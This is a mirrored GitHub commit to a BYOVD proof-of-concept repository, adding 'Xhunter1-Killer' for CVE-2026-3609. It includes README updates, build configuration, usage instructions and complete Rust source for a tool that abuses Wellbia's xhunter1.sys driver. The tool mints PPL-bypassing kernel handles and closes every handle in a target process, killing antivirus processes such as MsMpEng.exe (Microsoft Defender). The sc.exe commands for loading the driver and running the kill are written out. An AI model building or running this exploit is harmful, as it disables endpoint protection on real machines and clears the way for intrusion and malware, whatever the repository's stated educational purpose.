mirror of
https://github.com/BlackSnufkin/BYOVD
synced 2026-06-06 15:24:26 +00:00
Add Xhunter1-Killer (CVE-2026-3609)
This commit is contained in:
@@ -30,7 +30,7 @@ This repository contains several PoCs developed for educational purposes, helpin
|
||||
|
||||
## 🏗️ Project Structure
|
||||
|
||||
The project is organized as a **Rust Cargo workspace**. Most PoCs share a common library (`byovd-lib`) that handles the boilerplate: driver service lifecycle, IOCTL dispatch, process monitoring, privilege adjustment, and cleanup. Each killer is a thin binary (~50-100 lines) that only defines its driver-specific configuration. **`K7Terminator` and `Astra64-RW` are standalone** — they have their own `[workspace]` declarations and are built directly from their own directories, not via the root workspace.
|
||||
The project is organized as a **Rust Cargo workspace**. Most PoCs share a common library (`byovd-lib`) that handles the boilerplate: driver service lifecycle, IOCTL dispatch, process monitoring, privilege adjustment, and cleanup. Each killer is a thin binary (~50-100 lines) that only defines its driver-specific configuration. **`K7Terminator`, `Astra64-RW`, and `Xhunter1-Killer` are standalone** — they have their own `[workspace]` declarations and are built directly from their own directories, not via the root workspace.
|
||||
|
||||
```
|
||||
BYOVD/
|
||||
@@ -65,6 +65,7 @@ BYOVD/
|
||||
├── UnknownKiller/ # unattributed unknown.sys
|
||||
├── Viragt64-Killer/ # Tg Soft viragt64
|
||||
├── Wsftprm-Killer/ # Topaz wsftprm (CVE-2023-52271)
|
||||
├── Xhunter1-Killer/ # Wellbia xhunter1.sys (CVE-2026-3609)
|
||||
└── Xkpsm-Killer/ # JiranJikyosoft X-Keeper xkpsm
|
||||
```
|
||||
|
||||
@@ -206,7 +207,7 @@ fn main() -> Result<()> {
|
||||
## 💡 POCs
|
||||
Below are the drivers and their respective PoCs available in this repository:
|
||||
|
||||
- **[Astra64-RW](https://github.com/BlackSnufkin/BYOVD/tree/main/Astra64-RW)**: Targets `astra64.sys` from `EnTech Taiwan` (Astra32 / TVicHW) -- standalone kernel R/W PoC. Demoes the primitive via Shadow SSDT hijack -> SYSTEM token swap, tested on Win11 24H2 (build 26200.8457) with HVCI + VBS enabled.
|
||||
- **[Astra64-RW](https://github.com/BlackSnufkin/BYOVD/tree/main/Astra64-RW)**: Targets `astra64.sys` from `EnTech Taiwan` (Astra32 / TVicHW) -- standalone kernel R/W PoC.
|
||||
- **[BdApiUtil-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/BdApiUtil-Killer)**: Targets `BdApiUtil64.sys` from `Baidu AntiVirus` (CVE-2024-51324).
|
||||
- **[CcProtect-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/CcProtect-Killer)**: Targets `CcProtect.sys` from `CnCrypt`.
|
||||
- **[GameDriverX64-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/GameDriverX64-Killer)**: Targets `GameDriverX64.sys` from `Fedeen Games` (CVE-2025-61155).
|
||||
@@ -220,6 +221,7 @@ Below are the drivers and their respective PoCs available in this repository:
|
||||
- **[UnknownKiller](https://github.com/BlackSnufkin/BYOVD/tree/main/UnknownKiller)**: Targets `unknown.sys` from an unattributed vendor (driver origin TBD).
|
||||
- **[Viragt64-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/Viragt64-Killer)**: Targets `viragt64.sys` from `Tg Soft`.
|
||||
- **[Wsftprm-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/Wsftprm-Killer)**: Targets `wsftprm.sys` from `Topaz Antifraud` (CVE-2023-52271).
|
||||
- **[Xhunter1-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/Xhunter1-Killer)**: Targets legacy `xhunter1.sys` from `Wellbia` (XIGNCODE3, CVE-2026-3609).
|
||||
- **[Xkpsm-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/Xkpsm-Killer)**: Targets `xkpsm.sys` from `JiranJikyosoft X-Keeper`.
|
||||
|
||||
## 🔬 Complete Driver Reverse Engineering Process (x64)
|
||||
|
||||
@@ -0,0 +1,26 @@
|
||||
# Standalone subproject - not a member of the BYOVD workspace.
|
||||
# Build directly from this directory with `cargo build --release`.
|
||||
[workspace]
|
||||
|
||||
[package]
|
||||
name = "Xhunter1-Killer"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
clap = { version = "4", features = ["derive"] }
|
||||
windows = { version = "0.61", features = [
|
||||
"Win32_Foundation",
|
||||
"Win32_Security",
|
||||
"Win32_Storage_FileSystem",
|
||||
"Win32_System_Diagnostics_ToolHelp",
|
||||
"Win32_System_IO",
|
||||
"Win32_System_LibraryLoader",
|
||||
"Win32_System_Threading",
|
||||
] }
|
||||
|
||||
[profile.release]
|
||||
opt-level = 3
|
||||
lto = true
|
||||
codegen-units = 1
|
||||
panic = "abort"
|
||||
@@ -0,0 +1,70 @@
|
||||
# Xhunter1-Killer
|
||||
|
||||
Process killer for any target, including PPL processes such as `MsMpEng.exe`, via Wellbia's `xhunter1.sys` (XIGNCODE3 anti-cheat kernel component). The legacy build documented under **CVE-2026-3609**.
|
||||
|
||||
The kill primitive is cmd `800` only — a `KeStackAttachProcess` handle stomp that strips `ProtectFromClose` via `ObSetHandleAttributes(KernelMode)` and `ZwClose`s every entry in the target's handle table. Once a critical kernel object is yanked, the target faults on its next I/O and exits.
|
||||
|
||||
**Standalone.** Does not use `byovd-lib`. `xhunter1.sys` uses `IRP_MJ_WRITE` (not `DeviceIoControl`) for its command dispatch, so the lib's `DeviceHandle` doesn't fit. Has its own `[workspace]` declaration and its own `[profile.release]`. Build directly from this directory.
|
||||
|
||||
**Driver:**
|
||||
- `xhunter1.sys` SHA256: `e727d0753d2cd0b2f6eeba4cea53aa10b3ff3ed2afeb78f545fcf6d840f85c3e`
|
||||
- Signer: `Wellbia.com Co., Ltd.` (DigiCert), version `10.0.10011.16384`
|
||||
- CVE-2026-3609 (re-documented in 2026; originally written up by [Psychotropos in 2018](https://web.archive.org/web/20180820182619/https://x86.re/blog/xigncode3-xhunter1.sys-lpe/))
|
||||
|
||||
## What it does
|
||||
|
||||
1. Enable `SeDebugPrivilege` on the caller (no-op if not granted).
|
||||
2. Open `\\.\xhunter1` (or whatever device path you supply with `-d`).
|
||||
3. Enumerate every handle in the target's handle table via `NtQuerySystemInformation(SystemExtendedHandleInformation)`.
|
||||
4. **Tier 1 — minimum privileges.** `OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION)` + probe cmd `800` with that handle.
|
||||
5. **Tier 2 — fallback.** If tier 1 is denied at any point (OS-level `ACCESS_DENIED` on `OpenProcess`, or driver-level rejection of the handle inside cmd `800`), fall back to cmd `785` — the original CVE-2026-3609 primitive — to mint a kernel-mode `PROCESS_ALL_ACCESS` handle that defeats PPL.
|
||||
6. Iterate cmd `800` across the rest of the handle table with whichever handle worked.
|
||||
|
||||
Cmd `800` is the only kill mechanism. Cmd `785` is only acquired as a handle source when the cheap path is refused. No `TerminateProcess`, no other driver opcodes.
|
||||
|
||||
## Why admin
|
||||
|
||||
`PROCESS_QUERY_LIMITED_INFORMATION` is documented as granted to all callers, but in practice:
|
||||
- Non-admin contexts may have the right stripped by EDR-registered `ObRegisterCallbacks` filters on AV/EDR processes.
|
||||
- Tier 2's cmd `785` handle leak needs to be reachable from your context (the legacy build has no auth gate, so any caller works — but Defender will revive itself if not running elevated when the kill triggers).
|
||||
|
||||
The binary calls `RtlAdjustPrivilege(SeDebugPrivilege)` at startup and prints a warning if the privilege isn't granted. Run elevated.
|
||||
|
||||
## Usage
|
||||
|
||||
Driver lifecycle is your problem — this tool does **not** install or unload the driver. Load `xhunter1.sys` yourself first via `sc.exe`, then run the exe.
|
||||
|
||||
```bat
|
||||
:: Load
|
||||
sc create xhunter1 type= kernel binPath= "C:\path\to\xhunter1.sys"
|
||||
sc start xhunter1
|
||||
|
||||
:: Kill
|
||||
Xhunter1-Killer.exe -n MsMpEng.exe
|
||||
|
||||
:: Cleanup
|
||||
sc stop xhunter1
|
||||
sc delete xhunter1
|
||||
```
|
||||
|
||||
```text
|
||||
> .\Xhunter1-Killer.exe -h
|
||||
Process killer via xhunter1.sys cmd 800 handle stomp (legacy CVE-2026-3609 driver)
|
||||
|
||||
Usage: Xhunter1-Killer.exe --name <NAME> [--device <DEVICE>]
|
||||
|
||||
Options:
|
||||
-n, --name <NAME> Target process name (e.g. notepad.exe, MsMpEng.exe)
|
||||
-d, --device <DEVICE> Driver device path. Default \\.\xhunter
|
||||
-h, --help Print help
|
||||
```
|
||||
|
||||
```bash
|
||||
cd Xhunter1-Killer
|
||||
cargo build --release
|
||||
.\target\release\Xhunter1-Killer.exe -n MsMpEng.exe -d xhunter1
|
||||
```
|
||||
|
||||
If the driver service is registered under a name other than `xhunter` (the legacy default device name `\Device\xhunter`), pass the service name with `-d` and the binary will prefix `\\.\` for you.
|
||||
|
||||
Tested on Windows 11 24H2 against `MsMpEng.exe` (PPL Antimalware-Light). On the first run after a long-lived Defender instance, tier 2 fires (Defender's Ob callback denies the low-priv `OpenProcess`); after the kill Defender restarts, and the next run on the new MsMpEng PID lands cleanly on tier 1.
|
||||
@@ -0,0 +1,379 @@
|
||||
//! Xhunter1-Killer — process termination via `xhunter1.sys` cmd 800 handle stomp.
|
||||
//!
|
||||
//! Two-tier handle acquisition, cmd 800 only as the kill primitive:
|
||||
//! 1. `OpenProcess(PROCESS_ALL_ACCESS)` — works against non-PPL targets.
|
||||
//! 2. Fallback: cmd 785 — mints a kernel-mode `PROCESS_ALL_ACCESS` handle
|
||||
//! that defeats PPL (the original CVE-2026-3609 primitive).
|
||||
//!
|
||||
//! Once a handle is held, every entry in the target's handle table is closed
|
||||
//! via cmd 800. The driver clears `ProtectFromClose` (via
|
||||
//! `ObSetHandleAttributes(KernelMode)`) before each `ZwClose`, so even
|
||||
//! protected handles go down. Once a critical kernel object is yanked, the
|
||||
//! target faults on its next I/O and exits.
|
||||
//!
|
||||
//! Assumes the driver is already loaded. Default device path is `\\.\xhunter`;
|
||||
//! override with `-d` if your install registered a different SCM service name.
|
||||
|
||||
#![allow(non_snake_case)]
|
||||
|
||||
use std::ffi::c_void;
|
||||
|
||||
use clap::Parser;
|
||||
use windows::core::{s, PCWSTR};
|
||||
use windows::Win32::Foundation::{CloseHandle, GENERIC_WRITE, HANDLE};
|
||||
use windows::Win32::Storage::FileSystem::{
|
||||
CreateFileW, WriteFile, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_MODE, OPEN_EXISTING,
|
||||
};
|
||||
use windows::Win32::System::Diagnostics::ToolHelp::{
|
||||
CreateToolhelp32Snapshot, Process32FirstW, Process32NextW,
|
||||
PROCESSENTRY32W, TH32CS_SNAPPROCESS,
|
||||
};
|
||||
use windows::Win32::System::LibraryLoader::{GetModuleHandleA, GetProcAddress};
|
||||
use windows::Win32::System::Threading::{OpenProcess, PROCESS_QUERY_LIMITED_INFORMATION};
|
||||
|
||||
// Bare RtlAdjustPrivilege binding — avoids dragging in advapi32 token APIs.
|
||||
#[link(name = "ntdll")]
|
||||
unsafe extern "system" {
|
||||
fn RtlAdjustPrivilege(privilege: u32, enable: u8, current_thread: u8, was_enabled: *mut u8) -> i32;
|
||||
}
|
||||
const SE_DEBUG_PRIVILEGE: u32 = 20;
|
||||
|
||||
fn enable_se_debug() -> bool {
|
||||
let mut was = 0u8;
|
||||
unsafe { RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, 1, 0, &mut was) == 0 }
|
||||
}
|
||||
|
||||
// ─── Protocol constants (legacy xhunter1.sys, pre-2023.09) ─────────────────
|
||||
|
||||
const REQ_SIZE: usize = 0x270; // 624 bytes
|
||||
const RESP_SIZE: usize = 762;
|
||||
const XHUNTER_MAGIC: u32 = 0x345821AB;
|
||||
|
||||
const CMD_OPEN_PROCESS: u32 = 785; // mints kernel-mode PROCESS_ALL_ACCESS handle
|
||||
const CMD_CLOSE_HANDLE: u32 = 800; // ObSetHandleAttributes(KernelMode) + ZwClose
|
||||
|
||||
const PROCESS_ALL_ACCESS_F: u32 = 0x1FFFFF;
|
||||
|
||||
// Request layout
|
||||
const REQ_OFF_LENGTH: usize = 0x00;
|
||||
const REQ_OFF_MAGIC: usize = 0x04;
|
||||
const REQ_OFF_XOR_KEY: usize = 0x08;
|
||||
const REQ_OFF_OPCODE: usize = 0x0C;
|
||||
const REQ_OFF_RESP_PTR: usize = 0x10;
|
||||
const REQ_OFF_ARG0: usize = 0x18; // cmd 785: pid | cmd 800: target proc handle
|
||||
const REQ_OFF_ARG1: usize = 0x1C; // cmd 785: access |
|
||||
const REQ_OFF_ARG2: usize = 0x20; // | cmd 800: handle to close
|
||||
|
||||
// Response layout
|
||||
const RESP_OFF_STATUS: usize = 0x0C;
|
||||
const RESP_OFF_HANDLE: usize = 0x10;
|
||||
|
||||
// SystemExtendedHandleInformation
|
||||
const SYS_EXT_HANDLE_INFO: u32 = 0x40;
|
||||
const STATUS_INFO_LEN_MISMATCH: u32 = 0xC000_0004;
|
||||
|
||||
// ─── CLI ────────────────────────────────────────────────────────────────────
|
||||
|
||||
#[derive(Parser)]
|
||||
#[command(
|
||||
name = "Xhunter1-Killer",
|
||||
about = "Process killer via xhunter1.sys cmd 800 handle stomp (legacy CVE-2026-3609 driver)",
|
||||
)]
|
||||
struct Cli {
|
||||
/// Target process name (e.g. notepad.exe, MsMpEng.exe).
|
||||
#[arg(short = 'n', long = "name")]
|
||||
name: String,
|
||||
|
||||
/// Driver device path. Default is the legacy hardcoded name.
|
||||
#[arg(short = 'd', long = "device", default_value = "\\\\.\\xhunter")]
|
||||
device: String,
|
||||
}
|
||||
|
||||
// ─── Driver protocol helpers ────────────────────────────────────────────────
|
||||
|
||||
fn open_device(path: &str) -> Result<HANDLE, String> {
|
||||
let w: Vec<u16> = path.encode_utf16().chain(std::iter::once(0)).collect();
|
||||
unsafe {
|
||||
CreateFileW(
|
||||
PCWSTR(w.as_ptr()),
|
||||
GENERIC_WRITE.0,
|
||||
FILE_SHARE_MODE(0),
|
||||
None,
|
||||
OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
None,
|
||||
)
|
||||
}.map_err(|e| format!("CreateFileW({path}): {e}"))
|
||||
}
|
||||
|
||||
/// Send one xhunter1 command, return (NTSTATUS, full response buffer).
|
||||
fn send_cmd<F: FnOnce(&mut [u8])>(
|
||||
device: HANDLE,
|
||||
opcode: u32,
|
||||
fill: F,
|
||||
) -> Result<(i32, Vec<u8>), String> {
|
||||
let mut req = [0u8; REQ_SIZE];
|
||||
let mut resp = vec![0u8; RESP_SIZE];
|
||||
|
||||
unsafe {
|
||||
let p = req.as_mut_ptr();
|
||||
*(p.add(REQ_OFF_LENGTH) as *mut u32) = REQ_SIZE as u32;
|
||||
*(p.add(REQ_OFF_MAGIC) as *mut u32) = XHUNTER_MAGIC;
|
||||
*(p.add(REQ_OFF_XOR_KEY) as *mut u32) = 0x4141_4141;
|
||||
*(p.add(REQ_OFF_OPCODE) as *mut u32) = opcode;
|
||||
*(p.add(REQ_OFF_RESP_PTR) as *mut u64) = resp.as_mut_ptr() as u64;
|
||||
}
|
||||
fill(&mut req);
|
||||
|
||||
let mut written = 0u32;
|
||||
unsafe {
|
||||
WriteFile(device, Some(&req), Some(&mut written), None)
|
||||
.map_err(|e| format!("WriteFile (opcode {opcode}): {e}"))?;
|
||||
}
|
||||
|
||||
let status = unsafe { *(resp.as_ptr().add(RESP_OFF_STATUS) as *const i32) };
|
||||
Ok((status, resp))
|
||||
}
|
||||
|
||||
/// Cmd 785 — kernel-minted PROCESS_ALL_ACCESS handle on `pid`. Defeats PPL.
|
||||
fn cmd_785(device: HANDLE, pid: u32) -> Result<HANDLE, String> {
|
||||
let (status, resp) = send_cmd(device, CMD_OPEN_PROCESS, |req| unsafe {
|
||||
*(req.as_mut_ptr().add(REQ_OFF_ARG0) as *mut u32) = pid;
|
||||
*(req.as_mut_ptr().add(REQ_OFF_ARG1) as *mut u32) = PROCESS_ALL_ACCESS_F;
|
||||
})?;
|
||||
if status < 0 {
|
||||
return Err(format!("cmd 785 NTSTATUS 0x{:08X}", status as u32));
|
||||
}
|
||||
let raw = unsafe { *(resp.as_ptr().add(RESP_OFF_HANDLE) as *const u64) };
|
||||
if raw == 0 { return Err("cmd 785 returned NULL handle".into()); }
|
||||
Ok(HANDLE(raw as *mut c_void))
|
||||
}
|
||||
|
||||
/// Cmd 800 — close `victim` inside `target_handle`'s handle table, attached
|
||||
/// via KeStackAttachProcess. The driver strips ProtectFromClose first.
|
||||
fn cmd_800(device: HANDLE, target_handle: HANDLE, victim: u64) -> Result<(), String> {
|
||||
let (status, _) = send_cmd(device, CMD_CLOSE_HANDLE, |req| unsafe {
|
||||
*(req.as_mut_ptr().add(REQ_OFF_ARG0) as *mut u64) = target_handle.0 as u64;
|
||||
*(req.as_mut_ptr().add(REQ_OFF_ARG2) as *mut u64) = victim;
|
||||
})?;
|
||||
if status < 0 {
|
||||
return Err(format!("cmd 800 NTSTATUS 0x{:08X}", status as u32));
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ─── Helpers ────────────────────────────────────────────────────────────────
|
||||
|
||||
fn find_pid(image_name: &str) -> Result<u32, String> {
|
||||
let target = image_name.to_ascii_lowercase();
|
||||
unsafe {
|
||||
let snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
|
||||
.map_err(|e| format!("CreateToolhelp32Snapshot: {e}"))?;
|
||||
let mut entry = PROCESSENTRY32W {
|
||||
dwSize: std::mem::size_of::<PROCESSENTRY32W>() as u32,
|
||||
..Default::default()
|
||||
};
|
||||
let mut found: Option<u32> = None;
|
||||
if Process32FirstW(snap, &mut entry).is_ok() {
|
||||
loop {
|
||||
let end = entry.szExeFile.iter().position(|&c| c == 0).unwrap_or(entry.szExeFile.len());
|
||||
let name = String::from_utf16_lossy(&entry.szExeFile[..end]).to_ascii_lowercase();
|
||||
if name == target {
|
||||
found = Some(entry.th32ProcessID);
|
||||
break;
|
||||
}
|
||||
if Process32NextW(snap, &mut entry).is_err() { break; }
|
||||
}
|
||||
}
|
||||
let _ = CloseHandle(snap);
|
||||
found.ok_or_else(|| format!("process '{image_name}' not found"))
|
||||
}
|
||||
}
|
||||
|
||||
/// Enumerate every handle owned by `target_pid` via
|
||||
/// `NtQuerySystemInformation(SystemExtendedHandleInformation)`.
|
||||
fn enumerate_process_handles(target_pid: u32) -> Result<Vec<u64>, String> {
|
||||
type NtQsiFn = unsafe extern "system" fn(u32, *mut c_void, u32, *mut u32) -> i32;
|
||||
unsafe {
|
||||
let ntdll = GetModuleHandleA(s!("ntdll.dll"))
|
||||
.map_err(|e| format!("GetModuleHandleA(ntdll): {e}"))?;
|
||||
let p = GetProcAddress(ntdll, s!("NtQuerySystemInformation"))
|
||||
.ok_or("NtQuerySystemInformation not exported")?;
|
||||
let nt_qsi: NtQsiFn = std::mem::transmute(p);
|
||||
|
||||
let mut size: u32 = 0x10_0000;
|
||||
let mut buf: Vec<u8> = vec![0u8; size as usize];
|
||||
loop {
|
||||
let mut needed = 0u32;
|
||||
let status = nt_qsi(SYS_EXT_HANDLE_INFO, buf.as_mut_ptr() as _, size, &mut needed);
|
||||
if status == 0 { break; }
|
||||
if status as u32 == STATUS_INFO_LEN_MISMATCH {
|
||||
size = needed.saturating_add(0x1_0000).max(size.saturating_mul(2));
|
||||
buf = vec![0u8; size as usize];
|
||||
continue;
|
||||
}
|
||||
return Err(format!("NtQuerySystemInformation: 0x{:08X}", status as u32));
|
||||
}
|
||||
|
||||
// SYSTEM_HANDLE_INFORMATION_EX:
|
||||
// +0x00 NumberOfHandles (usize)
|
||||
// +0x08 Reserved (usize)
|
||||
// +0x10 Handles[] (SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, 40B)
|
||||
// Entry:
|
||||
// +0x00 Object (PVOID)
|
||||
// +0x08 UniqueProcessId (ULONG_PTR)
|
||||
// +0x10 HandleValue (ULONG_PTR)
|
||||
const ENTRY_SIZE: usize = 40;
|
||||
let count = usize::from_le_bytes(buf[..8].try_into().unwrap());
|
||||
let mut out = Vec::new();
|
||||
for i in 0..count {
|
||||
let off = 0x10 + i * ENTRY_SIZE;
|
||||
if off + ENTRY_SIZE > buf.len() { break; }
|
||||
let pid = usize::from_le_bytes(buf[off + 8..off + 16].try_into().unwrap()) as u32;
|
||||
if pid != target_pid { continue; }
|
||||
let handle = u64::from_le_bytes(buf[off + 16..off + 24].try_into().unwrap());
|
||||
out.push(handle);
|
||||
}
|
||||
Ok(out)
|
||||
}
|
||||
}
|
||||
|
||||
// ─── Main ───────────────────────────────────────────────────────────────────
|
||||
|
||||
fn main() {
|
||||
let cli = Cli::parse();
|
||||
|
||||
println!();
|
||||
println!(" [~] Xhunter1-Killer — cmd 800 handle stomp via xhunter1.sys");
|
||||
println!();
|
||||
|
||||
if enable_se_debug() {
|
||||
println!("[+] SeDebugPrivilege ...... enabled");
|
||||
} else {
|
||||
println!("[!] SeDebugPrivilege not granted — tier-1 OpenProcess will likely be denied on PPL targets (run elevated)");
|
||||
}
|
||||
|
||||
let target_pid = match find_pid(&cli.name) {
|
||||
Ok(p) => p,
|
||||
Err(e) => { eprintln!("[-] {e}"); std::process::exit(1); }
|
||||
};
|
||||
println!("[+] Target PID ............ {target_pid} ({})", cli.name);
|
||||
|
||||
let device_path = if cli.device.starts_with("\\\\.\\") || cli.device.starts_with("\\\\?\\") {
|
||||
cli.device.clone()
|
||||
} else {
|
||||
format!("\\\\.\\{}", cli.device)
|
||||
};
|
||||
let device = match open_device(&device_path) {
|
||||
Ok(h) => h,
|
||||
Err(e) => {
|
||||
eprintln!("[-] {e}");
|
||||
eprintln!(" Driver must be loaded. Try:");
|
||||
eprintln!(" sc create xhunter type= kernel binPath= C:\\path\\to\\xhunter1.sys");
|
||||
eprintln!(" sc start xhunter");
|
||||
std::process::exit(1);
|
||||
}
|
||||
};
|
||||
println!("[+] Driver opened ......... {}", device_path);
|
||||
|
||||
// Enumerate the target's handle table once — same list whether the
|
||||
// process handle we feed cmd 800 came from OpenProcess or cmd 785.
|
||||
let handles = match enumerate_process_handles(target_pid) {
|
||||
Ok(v) => v,
|
||||
Err(e) => {
|
||||
eprintln!("[-] enumerate_process_handles: {e}");
|
||||
unsafe { let _ = CloseHandle(device); }
|
||||
std::process::exit(1);
|
||||
}
|
||||
};
|
||||
if handles.is_empty() {
|
||||
eprintln!("[-] No handles enumerated for PID {target_pid}");
|
||||
std::process::exit(1);
|
||||
}
|
||||
println!("[+] Target has {} open handles", handles.len());
|
||||
|
||||
// Tier 1 — minimum privileges via OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION).
|
||||
// For PPL/EDR targets the OS or registered Ob callbacks may refuse even this.
|
||||
// For non-PPL targets the syscall succeeds; we then probe cmd 800 with the
|
||||
// tier-1 handle. Any failure (OpenProcess denied OR cmd 800 refused) escalates
|
||||
// to tier 2 — cmd 785, which mints a kernel-mode PROCESS_ALL_ACCESS handle
|
||||
// and defeats PPL.
|
||||
let probe = handles[0];
|
||||
let escalate_reason: Option<String>;
|
||||
let mut tier1_handle: Option<HANDLE> = None;
|
||||
|
||||
match unsafe { OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, false, target_pid) } {
|
||||
Ok(h) => {
|
||||
println!("[+] Tier 1 handle ......... 0x{:X} (OpenProcess PROCESS_QUERY_LIMITED_INFORMATION)", h.0 as usize);
|
||||
match cmd_800(device, h, probe) {
|
||||
Ok(()) => {
|
||||
println!("[+] Probe stomp accepted with tier-1 handle.");
|
||||
tier1_handle = Some(h);
|
||||
escalate_reason = None;
|
||||
}
|
||||
Err(e) => {
|
||||
println!("[!] Probe stomp refused with tier-1 handle: {e}");
|
||||
unsafe { let _ = CloseHandle(h); }
|
||||
escalate_reason = Some(format!("cmd 800 refused tier-1 handle: {e}"));
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("[!] OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION) denied: {e}");
|
||||
escalate_reason = Some(format!("OpenProcess refused: {e}"));
|
||||
}
|
||||
}
|
||||
|
||||
let (working_handle, source, mut ok, mut fail) = match (tier1_handle, escalate_reason) {
|
||||
(Some(h), None) => (h, "tier 1 (minimum privileges)", 1usize, 0usize),
|
||||
(_, Some(_)) => {
|
||||
println!("[*] Tier 2: cmd 785 — minting PPL-bypassing PROCESS_ALL_ACCESS handle...");
|
||||
match cmd_785(device, target_pid) {
|
||||
Ok(h2) => {
|
||||
println!("[+] Tier 2 handle ......... 0x{:X} (cmd 785 kernel-minted PROCESS_ALL_ACCESS)", h2.0 as usize);
|
||||
match cmd_800(device, h2, probe) {
|
||||
Ok(()) => (h2, "tier 2 (cmd 785)", 1usize, 0usize),
|
||||
Err(e2) => {
|
||||
eprintln!("[-] cmd 800 refused tier-2 handle: {e2}");
|
||||
unsafe {
|
||||
let _ = CloseHandle(h2);
|
||||
let _ = CloseHandle(device);
|
||||
}
|
||||
std::process::exit(1);
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e2) => {
|
||||
eprintln!("[-] cmd 785 failed: {e2}");
|
||||
unsafe { let _ = CloseHandle(device); }
|
||||
std::process::exit(1);
|
||||
}
|
||||
}
|
||||
}
|
||||
_ => unreachable!(),
|
||||
};
|
||||
|
||||
// Stomp the rest of the handle table.
|
||||
for &h in &handles[1..] {
|
||||
match cmd_800(device, working_handle, h) {
|
||||
Ok(()) => ok += 1,
|
||||
Err(_) => fail += 1,
|
||||
}
|
||||
}
|
||||
println!("[+] Handle stomp ({source}): closed {ok}, refused {fail} (of {})", handles.len());
|
||||
let target_handle = working_handle;
|
||||
|
||||
// Quick verification: re-resolve the PID.
|
||||
std::thread::sleep(std::time::Duration::from_millis(400));
|
||||
let alive = find_pid(&cli.name).is_ok();
|
||||
if alive {
|
||||
eprintln!("[!] PID may still be alive — re-run if needed.");
|
||||
} else {
|
||||
println!("[+] Verified: {} no longer present in process list.", cli.name);
|
||||
}
|
||||
|
||||
unsafe {
|
||||
let _ = CloseHandle(target_handle);
|
||||
let _ = CloseHandle(device);
|
||||
}
|
||||
}
|
||||
Binary file not shown.
Reference in New Issue
Block a user